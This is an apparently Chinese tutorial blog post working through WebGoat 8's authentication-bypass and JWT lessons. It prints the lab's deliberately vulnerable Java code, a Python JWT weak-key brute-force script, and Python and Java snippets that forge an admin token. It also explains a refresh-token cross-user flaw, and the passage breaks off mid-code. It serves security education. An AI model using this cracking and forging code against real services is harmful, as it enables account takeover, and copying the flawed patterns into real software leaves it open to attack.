WebGoat8系列文章:前情回顾
数字观星 Jack Chan(Saturn),再会篇为Java代码审计入门:WebGoat8系列的第二篇,意为与WebGoat8再次相会。本篇我们将一起看看WebGoat8中的Authentication Bypasses和JWT相关安全问题。
这节课程首先给了我们一个2016年的PayPal双因子密码重置的漏洞:攻击者通过去掉安全问题验证报文中的两个安全问题,结果通过了验证,从而达到了身份认证绕过。
看完真实案例后,我们的随堂作业是要绕过一个相似的密码重置功能。这个时候,很容易就会尝试运用刚刚学会的姿势,截包将两个安全问题删除,发包。然后就收到:Not quite, please try again.
很真实,应验了那句话:老师教的和案例展示的都不会考。
从刚刚截包中获取路径“/auth-bypass/verify-account”,全局去搜索,追踪到相关代码:
VerifyAccount.java
package org.owasp.webgoat.plugin;
import com.google.common.collect.Lists;
import org.jcodings.util.Hash;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* Created by jason on 1/5/17.
*/
@AssignmentPath("/auth-bypass/verify-account")
@AssignmentHints({"auth-bypass.hints.verify.1", "auth-bypass.hints.verify.2", "auth-bypass.hints.verify.3", "auth-bypass.hints.verify.4"})
public class VerifyAccount extends AssignmentEndpoint {
@Autowired
private WebSession webSession;
@Autowired
UserSessionData userSessionData;
@PostMapping(produces = {"application/json"})
@ResponseBody
public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {
AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
Map<String,String> submittedAnswers = parseSecQuestions(req);
//进行作弊检测
if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {
return trackProgress(failed()
.feedback("verify-account.cheated")
.output("Yes, you guessed correcctly,but see the feedback message")
.build());
}
// else
//进行账号验证
if (verificationHelper.verifyAccount(new Integer(userId),(HashMap)submittedAnswers)) {
userSessionData.setValue("account-verified-id", userId);
return trackProgress(success()
.feedback("verify-account.success")
.build());
} else {
return trackProgress(failed()
.feedback("verify-account.failed")
.build());
}
}
//安全问题解析,将包含“secQuestion”的参数名及对应参数存放在userAnswers(类型为Map)中。
private HashMap<String,String> parseSecQuestions (HttpServletRequest req) {
Map <String,String> userAnswers = new HashMap<>();
List<String> paramNames = Collections.list(req.getParameterNames());
for (String paramName : paramNames) {
//String paramName = req.getParameterNames().nextElement();
if (paramName.contains("secQuestion")) {
userAnswers.put(paramName,req.getParameter(paramName));
}
}
return (HashMap)userAnswers;
}
}
其中主要用到:
AccountVerificationHelper.java
package org.owasp.webgoat.plugin;
import org.jcodings.util.Hash;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.HashMap;
import java.util.Map;
/**
* Created by appsec on 7/18/17.
*/
public class AccountVerificationHelper {
//simulating database storage of verification credentials
private static final Integer verifyUserId = new Integer(1223445);
private static final Map<String,String> userSecQuestions = new HashMap<>();
static {
userSecQuestions.put("secQuestion0","Dr. Watson");
userSecQuestions.put("secQuestion1","Baker Street");
}
private static final Map<Integer,Map> secQuestionStore = new HashMap<>();
static {
secQuestionStore.put(verifyUserId,userSecQuestions);
}
// end 'data store set up'
// this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
boolean likely = false;
if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
likely = true;
}
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) &&
(submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) ) {
likely = true;
} else {
likely = false;
}
return likely;
}
//end of cheating check ... the method below is the one of real interest. Can you find the flaw?
public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions ) {
//short circuit if no questions are submitted
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
return false;
}
if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
return false;
}
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
return false;
}
// else
return true;
}
}
verifyAccount流程如下:
//安全问题解析,将包含“secQuestion”的参数名及对应参数存放在userAnswers(类型为Map)中。
parseSecQuestions
如果paramName.contains(“secQuestion”)参数名包含”secQuestion”,则将参数名作为userAnswers的key,参数值作为value存入。
//作弊检测,检测请求的验证是否有作弊,有则不通过检验
verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)
1.请求中的secQuestion数目等于系统内虚拟的secQuestion数目(2条),则为作弊。
2.请求中含有secQuestion0和secQuestion1参数及其值各自等于系统中的对应问题答案。(即回答出正确答案),是作弊。
verificationHelper.verifyAccount(new Integer(userId),(HashMap)submittedAnswers)
1.如果请求报文的安全问题条数不等于系统虚拟的安全问题条数,则返回失败。
2.如果请求报文的安全问题有secQuestion0且答案错误,则返回失败。
3.如果请求报文的安全问题有secQuestion1且答案错误,则返回失败。
4.前面的条件都通过,返回成功。
分析:
从流程可以知道,我们想要绕过认证,需要在请求中发送安全问题(含“secQuestion”字符串即为安全问题)条数等于系统虚拟的安全问题条数(2条),回答出secQuestion0和secQuestion1算作弊,回答不出算失败。那么我们构造含
“secQuestion”字符串但并不是secQuestion0和secQuestion1的参数2个,就可以绕过这些检测了。

总结:
黑盒测试时,可尝试删除安全问题等方式绕过认证。
JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
一条JWT是被base64编码过的,包含了三段,头部,声明(也称payload),签名。中间以“.”间隔。
我们可以将一条JWT拿到https://jwt.io/#debugger去解码一下。JWT:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ
HEADER中是使用的算法HS512(HMACSHA512512),PAYLOAD中承载了自定义信息,SIGNATURE是将header,payload,以及密钥使用HMACSHA512算法计算得出签名。
所以payload中不应该存放诸如密码等敏感信息,传递JWT应使用安全的通信协议,以防被窃取。
下图展示身份认证及JWT颁发过程:
随堂作业:篡改JWT,成为admin用户,重置投票。
到了看代码的时候了,追踪“/JWT/votings”:
package org.owasp.webgoat.plugin;
import com.google.common.collect.Maps;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.impl.TextCodec;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.plugin.votes.Views;
import org.owasp.webgoat.plugin.votes.Vote;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.http.converter.json.MappingJacksonValue;
import org.springframework.web.bind.annotation.*;
import javax.annotation.PostConstruct;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import java.time.Duration;
import java.time.Instant;
import java.util.Date;
import java.util.Map;
import static java.util.Comparator.comparingLong;
import static java.util.Optional.ofNullable;
import static java.util.stream.Collectors.toList;
/**
* @author nbaars
* @since 4/23/17.
*/
@AssignmentPath("/JWT/votings")
@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"})
public class JWTVotesEndpoint extends AssignmentEndpoint {
public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
private static String validUsers = "TomJerrySylvester";
private static int totalVotes = 38929;
private Map<String, Vote> votes = Maps.newHashMap();
@PostConstruct
public void initVotes() {
votes.put("Admin lost password", new Vote("Admin lost password",
"In this challenge you will need to help the admin and find the password in order to login",
"challenge1-small.png", "challenge1.png", 36000, totalVotes));
votes.put("Vote for your favourite",
new Vote("Vote for your favourite",
"In this challenge ...",
"challenge5-small.png", "challenge5.png", 30000, totalVotes));
votes.put("Get it for free",
new Vote("Get it for free",
"The objective for this challenge is to buy a Samsung phone for free.",
"challenge2-small.png", "challenge2.png", 20000, totalVotes));
votes.put("Photo comments",
new Vote("Photo comments",
"n this challenge you can comment on the photo you will need to find the flag somewhere.",
"challenge3-small.png", "challenge3.png", 10000, totalVotes));
}
@GetMapping("/login")
public void login(@RequestParam("user") String user, HttpServletResponse response) {
if (validUsers.contains(user)) {
Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Cookie cookie = new Cookie("access_token", token);
response.addCookie(cookie);
response.setStatus(HttpStatus.OK.value());
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
} else {
Cookie cookie = new Cookie("access_token", "");
response.addCookie(cookie);
response.setStatus(HttpStatus.UNAUTHORIZED.value());
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
}
}
@GetMapping
@ResponseBody
public MappingJacksonValue getVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
MappingJacksonValue value = new MappingJacksonValue(votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList()));
if (StringUtils.isEmpty(accessToken)) {
value.setSerializationView(Views.GuestView.class);
} else {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
if ("Guest".equals(user) || !validUsers.contains(user)) {
value.setSerializationView(Views.GuestView.class);
} else {
value.setSerializationView(Views.UserView.class);
}
} catch (JwtException e) {
value.setSerializationView(Views.GuestView.class);
}
}
return value;
}
@PostMapping(value = "{title}")
@ResponseBody
@ResponseStatus(HttpStatus.ACCEPTED)
public ResponseEntity<?> vote(@PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) {
if (StringUtils.isEmpty(accessToken)) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
if (!validUsers.contains(user)) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else {
ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes));
return ResponseEntity.accepted().build();
}
} catch (JwtException e) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
}
@PostMapping("reset")
public @ResponseBody
AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
if (StringUtils.isEmpty(accessToken)) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
} else {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
if (!isAdmin) {
return trackProgress(failed().feedback("jwt-only-admin").build());
} else {
votes.values().forEach(vote -> vote.reset());
return trackProgress(success().build());
}
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
}
关注以下代码块,我们可以看到生成及颁发JWT的过程。
@GetMapping("/login")
public void login(@RequestParam("user") String user, HttpServletResponse response) {
if (validUsers.contains(user)) {
Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Cookie cookie = new Cookie("access_token", token);
response.addCookie(cookie);
response.setStatus(HttpStatus.OK.value());
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
} else {
Cookie cookie = new Cookie("access_token", "");
response.addCookie(cookie);
response.setStatus(HttpStatus.UNAUTHORIZED.value());
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
}
}
然后看到随堂作业中要重置投票的相关代码块。我们可以看到这一句:Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);使用签名密钥去解析了请求过来的JWT,获取claims中的admin参数的值,通过这个值来确认是否admin权限。
思路:获取密钥,使用https://jwt.io/#debugger或Java或python篡改JWT中admin参数为true。
问题也随之而来,如何获取密钥?当然我们可以通过代码直接找到JWT_PASSWORD的值,但是这样的话,这道随堂作业就没什么味道了,所以我们再自己加一道题中题:JWT弱密钥爆破。
@PostMapping("reset")
public @ResponseBody
AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
if (StringUtils.isEmpty(accessToken)) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
} else {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
if (!isAdmin) {
return trackProgress(failed().feedback("jwt-only-admin").build());
} else {
votes.values().forEach(vote -> vote.reset());
return trackProgress(success().build());
}
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
题中题:JWT弱密钥爆破
这一题的解题思路引用@yangyangwithgnu发表的文章 全程带阻:记一次授权网络攻防演练(上)中,利用PyJWT编写脚本爆破JWT弱密码。脚本逻辑
1.若签名直接校验成功(原文为失败,猜测为作者手误),则 key_ 为有效密钥;
2.若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;
3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;
4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。
利用脚本可爆出JWT弱密钥为:victory
脚本如下:
JWT_crack.py
//import jwt 需要安装依赖包PyJWT
import jwt
import termcolor
if __name__ == "__main__":
jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg'
with open('/YOUR-PATH/Top1000.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! no key be found.')
使用爆破出来的密钥:victory和https://jwt.io/#debugger篡改JWT中admin参数为true获得篡改后的JWT。
也可以使用python3 的PyJWT去获得JWT
import jwt
# payload
token_dict = {
"iat": 1570415291,
"admin": "true",
"user": "Tom"
}
key = "victory"
# headers
headers = {
"typ": "JWT",
"alg": "HS512"
}
# 调用jwt库,生成json web token
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key,
algorithm="HS512",# 指明签名算法方式, 默认是HS256,需要与headers中"alg"保持一致。
headers=headers # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print("jwt_token")
print(jwt_token)
得到:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzA0MTUyOTEsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.2uqgOomtrYjU9h2gYFkzTxh_coX0dcuiONhiEZN**Y_VCu7k8imLxOBer0Ws5qnC0X3e56eEVKVIqVGz8OZvZQ
也可以使用Java:
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.impl.TextCodec;
public class baseencodeJWTcryptotest {
public static String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
public static void createJWTToken() {
Claims claims = Jwts.claims();
claims.put("iat", 1570415291);
claims.put("admin", "True");
claims.put("user", "Tom");
String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT")
.setHeaderParam("alg","HS512")
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).compact();
System.out.println(token);
}
public static void main(String[] args) {
baseencodeJWTcryptotest.createJWTToken();
}
}
得到:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzA0MTUyOTEsImFkbWluIjoiVHJ1ZSIsInVzZXIiOiJUb20ifQ.cQTTGQK75NUnzi8tN1xHeQNXjVmqlH3U_9ynyccCZjUogTM7A5GV7V570LXIuvPgbSPfEAjpOqxL8woWXHrCIg
使用篡改的JWT,发送reset报文。
“congratulations”,成功了。
jwt.io:
python:
Java:
总结:
开发人员不应在JWT中暴露敏感信息,可使用工具将截获的JWT解析查看是否包含敏感信息。
JWT弱口令爆破可以离线进行。
JWT的安全性非常依赖密钥的长度及复杂度,建议密钥设置为32位及以上长度的随机字符。
就如同session会有存活时长一样,JWT的access_token也是有相类似的机制。session失活后,系统会要求用户再次身份验证,通过则重新颁发session;JWT则可使用refresh token去刷新access token而无需再次身份验证。
登陆获取 access token, refresh token
WebGoat中提到:
应在服务器端存储足够的信息,以验证用户是否仍然受信任。您可以考虑的事情有很多,比如存储IP地址,跟踪使用refresh token的次数(在access token的有效时间窗口中多次使用刷新令牌可能表示奇怪的行为,您可以撤销所有token,让用户再次进行身份验证)。还要跟踪哪个access token属于哪个refresh token,否则攻击者可能会使用攻击者的refresh token为其他用户获取新的access token,请参阅https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation,还可以检查用户的IP地址或地理位置。如果需要发出一个新的令牌,请检查位置是否仍然相同,如果不同,则撤销所有令牌,并让用户再次进行身份验证。
这段话中关键信息是,服务器中可能存在:未校验access token和refresh token是否属于同一个用户,导致A用户可使用自己的refresh token去刷新B用户的access token。
WebGoat对于使用JWT的建议:
使用jwt令牌的最佳位置是服务器之间的通信。在普通的web应用程序中,最好使用普通的旧cookies。
随堂作业:
Refreshing a token
题目:查看日志文件,找到让Tom为这些书买单的方法。
日志文件:
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"
可以看到有一条token,和一些与refresh相关的url信息。拿token去https://jwt.io/#debugger,可以看到:
是属于Tom,exp的时间是2018年(已过期)。
使用logfile中的token直接checkout,返回已过期提示。(Authorization头根据源码构造,Bearer 可加可不加。 )
代码:JWTRefreshEndpoint.java
package org.owasp.webgoat.plugin;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import io.jsonwebtoken.*;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.Date;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
/**
* @author nbaars
* @since 4/23/17.
*/
@AssignmentPath("/JWT/refresh/")
@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"})
public class JWTRefreshEndpoint extends AssignmentEndpoint {
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
private static final List<String> validRefreshTokens = Lists.newArrayList();
//登陆模块
@PostMapping(value = "login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
public @ResponseBody
ResponseEntity follow(@RequestBody Map<String, Object> json) {
String user = (String) json.get("user");
String password = (String) json.get("password");
//验证用户名Jerry和秘密
if ("Jerry".equals(user) && PASSWORD.equals(password)) {
//通过则颁发token
return ResponseEntity.ok(createNewTokens(user));
}
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
//创建token模块
private Map<String, Object> createNewTokens(String user) {
Map<String, Object> claims = Maps.newHashMap();
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Map<String, Object> tokenJson = Maps.newHashMap();
String refreshToken = RandomStringUtils.randomAlphabetic(20);
validRefreshTokens.add(refreshToken);
tokenJson.put("access_token", token);
tokenJson.put("refresh_token", refreshToken);
return tokenJson;
}
//checkout模块
@PostMapping("checkout")
public @ResponseBody
AttackResult checkout(@RequestHeader("Authorization") String token) {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
if ("Tom".equals(user)) {
return trackProgress(success().build());
}
return trackProgress(failed().feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
} catch (ExpiredJwtException e) {
return trackProgress(failed().output(e.getMessage()).build());
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
}
}
//刷新 token
@PostMapping("newToken")
public @ResponseBody
ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) {
String user;
String refreshToken;
try {
Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
user = (String) jwt.getBody().get("user");
refreshToken = (String) json.get("refresh_token");
} catch (ExpiredJwtException e) {
user = (String) e.getClaims().get("user");
refreshToken = (String) json.get("refresh_token");
}
//仅校验是否存在user和refreshToken,未校验两者对应关系,存在漏洞
if (user == null || refreshToken == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else if (validRefreshTokens.contains(refreshToken)) {
validRefreshTokens.remove(refreshToken);
return ResponseEntity.ok(createNewTokens(user));
} else {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
}
存在问题的代码块:
仅校验是否存在user和refreshToken,未校验两者对应关系,导致漏洞产生。
//刷新 token
@PostMapping("newToken")
public @ResponseBody
ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) {
String user;
String refreshToken;
try {
Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
user = (String) jwt.getBody().get("user");
refreshToken = (String) json.get("refresh_token");
} catch (ExpiredJwtException e) {
user = (String) e.getClaims().get("user");
refreshToken = (String) json.get("refresh_token");
}
//仅校验是否存在user和refreshToken,未校验两者对应关系,存在漏洞
if (user == null || refreshToken == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else if (validRefreshTokens.contains(refreshToken)) {
validRefreshTokens.remove(refreshToken);
//返回JWT user的新token
return ResponseEntity.ok(createNewTokens(user));
} else {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
思路:
从logfile中获取到Tom到过期JWT
利用账号密码:Jerry/bm5nhSkxCXZkKRy4 拿到Jerry账号的refresh token
利用Jerry的refresh token 和Tom的过期access token去刷新一下
拿到刷新后的token 结账
从logfile中获取到Tom到过期JWT
利用账号密码:Jerry/bm5nhSkxCXZkKRy4 拿到refresh token
账号密码从源码中可得
利用Jerry的refresh token和Tom的过期access token 去刷新。
拿到刷新后的access_token 结账
总结:
当使用refresh_token机制时,服务器端存储足够的信息,以验证用户是否仍然受信任。(存储IP地址,跟踪使用refresh token的次数及是否在access_token过期后使用等等的信息)
当存在JWT泄漏和越权刷新JWT漏洞时,将会是个灾难。
接下来,我们看到Tom and Jerry,我们是Jerry的账号,想把Tom的账号删掉。
点击Tom下方的Delete,截取报文:
POST /WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiU**sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Cookie: JSESSIONID=IdCcPJUZYU_2PTrz3wiXbJkNfyoJktHX2tbNhiab; JSESSIONID.3f016d14=node01p93mn1law5to1bzrhlqsjmjcz4.node0; screenResolution=1680x1050
Content-Length: 0
将token丢到https://jwt.io/#debugger解析一下:
原始JWT parser后:
header
{
"typ": "JWT",
** "kid": "webgoat_key",**
"alg": "HS256"
}
payload
{
"iss": "WebGoat Token Builder",
"iat": 1524210904,
"exp": 1618905304,
"aud": "webgoat.org",
"sub": "[email protected]",
** "username": "Jerry",**
"Email": "[email protected]",
"Role": [
"Cat"
]
}
查看代码:
@AssignmentPath("/JWT/final")
@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"})
public class JWTFinalEndpoint extends AssignmentEndpoint {
@Autowired
private WebSession webSession;
@PostMapping("follow/{user}")
public @ResponseBody
String follow(@PathVariable("user") String user) {
if ("Jerry".equals(user)) {
return "Following yourself seems redundant";
} else {
return "You are now following Tom";
}
}
@PostMapping("delete")
public @ResponseBody
AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
} else {
try {
final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
